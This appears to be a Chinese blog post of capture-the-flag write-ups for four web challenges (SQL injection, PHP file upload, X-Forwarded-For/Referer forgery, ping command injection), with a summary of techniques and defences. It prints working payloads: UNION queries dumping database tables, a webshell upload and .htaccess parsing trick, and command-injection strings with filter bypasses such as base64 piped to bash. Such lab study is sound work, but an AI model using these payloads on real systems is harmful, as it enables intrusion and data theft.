双剑破天门:攻防世界Web题解之独孤九剑心法(七)

免责声明:用户因使用公众号内容而产生的任何行为和后果,由用户自行承担责任。本公众号不承担因用户误解、不当使用等导致的法律责任


**本文以攻防世界部分题为例进行演示,后续会对攻防世界大部分的web题目进行演示,如果你感兴趣请关注**


目录

一:Newscenter

二:upload1

三:Xff_referer

四:Command_execution

五:总结

1. Newscenter(SQL注入)

2. upload1(文件上传漏洞)

3. Xff_referer(HTTP头伪造)

4. Command_execution(命令注入)


一:Newscenter

打开为如下所示

经过尝试,得知在输入框中输入数字可得到不同内容

输入23就没有新闻

所以我们得知这个输入框和数据库有交互,那这题考察的可能就是SQL注入

发现将数据库中所有的内容都查询了出来,那这个题考察的就是SQL注入

字段长度为3

23' order by 3 #

回显字段有2,3

23' union select 1,2,3 #

数据库名为news

23' union select 1,database(),3 #

表名为如下

23' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema="news" #

根据表名查到列名

23' union select 1,group_concat(column_name),3 from information_schema.columns where table_name="secret_table" #

成功拿到flag

23' union select 1,fl4g,3 from secret_table #


二:upload1

发现有提示框提示需要上传图片,既然是提示框那就说明是前端验证

关闭如下所示

然后我们上传一张php即可

用蚁剑连接即可

成功拿到flag


三:Xff_referer

打开提示我们ip必须为123.123.123.123,那我们得知既然要ip来自于123,那就需要进行伪造ip头也就是X-Forwarded-For字段

打开bp进行抓包

输入X-Forwarded-For:123.123.123.123 进行伪造

发送后又提示我们来源为google

来源字段是referer

伪造referer字段


四:Command_execution

打开发现为ping功能,我们先随便ping一下然后再看看能否查看其他数据

Ping 127.0.0.1 发现可以,那我们填写这样的payload:127.0.0.1 | ls

成功执行ls,说明没有任何过滤。那接下来就可以查找flag了

执行127.0.0.1 |find / -name “fl*”

发现可以文件如下

成功拿到flag


五:总结

1. Newscenter(SQL注入)

考察点

  • SQL注入漏洞:未对用户输入进行过滤,允许通过注入获取数据库信息。

  • 联合查询(UNION注入):通过构造联合查询语句获取敏感数据。

解题思路

  1. 探测注入点:在搜索框输入单引号',观察是否存在报错。

  2. 判断字段数:使用ORDER BY确定查询字段数(如' ORDER BY 3--)。

  3. 联合查询注入

    • 构造Payload:' UNION SELECT 1,2,database()-- 获取数据库名。

    • 继续查询表名(如information_schema.tables)、列名,最终读取flag字段。

关键技术

  • 报错注入或布尔盲注(根据回显情况选择)。

  • 利用information_schema数据库获取元数据。

防御建议

  • 使用预编译语句(Prepared Statements)。

  • 对输入进行严格的字符过滤和转义。


2. upload1(文件上传漏洞)

考察点

  • 文件上传绕过:绕过前端和后端对文件类型、内容的检测。

  • Webshell利用:上传m蚂获取服务器权限。

解题思路

  1. 绕过前端验证

    • 修改文件扩展名为.php,并抓包修改Content-Typeimage/jpeg

  2. 绕过后端检测

    • 使用图片m(在图片中嵌入PHP代码),或利用.htaccess文件设置解析规则(如AddType application/x-httpd-php .jpg)。

  3. 访问上传文件:通过上传路径访问Webshell,执行系统命令获取flag。

关键技术

  • 双写扩展名绕过(如up.php.phtml)。

  • 利用服务器解析漏洞(如Apache解析漏洞test.php.xxx)。

防御建议

  • 限制上传文件类型,使用白名单机制。

  • 重命名上传文件,避免直接执行。


3. Xff_referer(HTTP头伪造)

考察点

  • HTTP头伪造:伪造X-Forwarded-For(XFF)和Referer头绕过访问控制。

  • 本地访问限制:服务器仅允许特定来源或本地IP访问。

解题思路

  1. 伪造XFF头:使用Burp Suite拦截请求,添加X-Forwarded-For: 127.0.0.1伪装本地IP。

  2. 伪造Referer头:修改Referer为题目指定域名(如http://www.google.com)通过验证。

关键技术

  • 工具:Burp Suite/Postman修改请求头。

  • 理解HTTP头在访问控制中的作用。

防御建议

  • 避免依赖客户端可控的字段(如XFF、Referer)做权限验证。

  • 使用服务器端会话机制管理权限。


4. Command_execution(命令注入)

考察点

  • 命令注入漏洞:未过滤用户输入直接拼接系统命令。

  • 绕过过滤技巧:绕过空格、关键词黑名单等限制。

解题思路

  1. 探测注入点:输入127.0.0.1; ls尝试执行命令。

  2. 绕过过滤

    • 空格绕过:使用${IFS}%09(Tab的URL编码)。

    • 关键词绕过:用ca\tbase64编码命令(如echo "Y2F0IGZsYWc=" | base64 -d | bash)。

  3. 读取flag:通过cattac命令读取flag文件。

关键技术

  • 命令分隔符:;&|||

  • 通配符绕过:cat fla*

防御建议

  • 使用安全的API(如subprocess模块)替代直接执行命令。

  • 严格校验输入,禁止特殊字符。


(需要源代码及各类资料联系博主免费领取!!还希望多多关注点赞支持,你的支持就是我的最大动力!!!)

评论 47
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

安全瞭望Sec

感谢您的打赏,您的支持让我更加

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值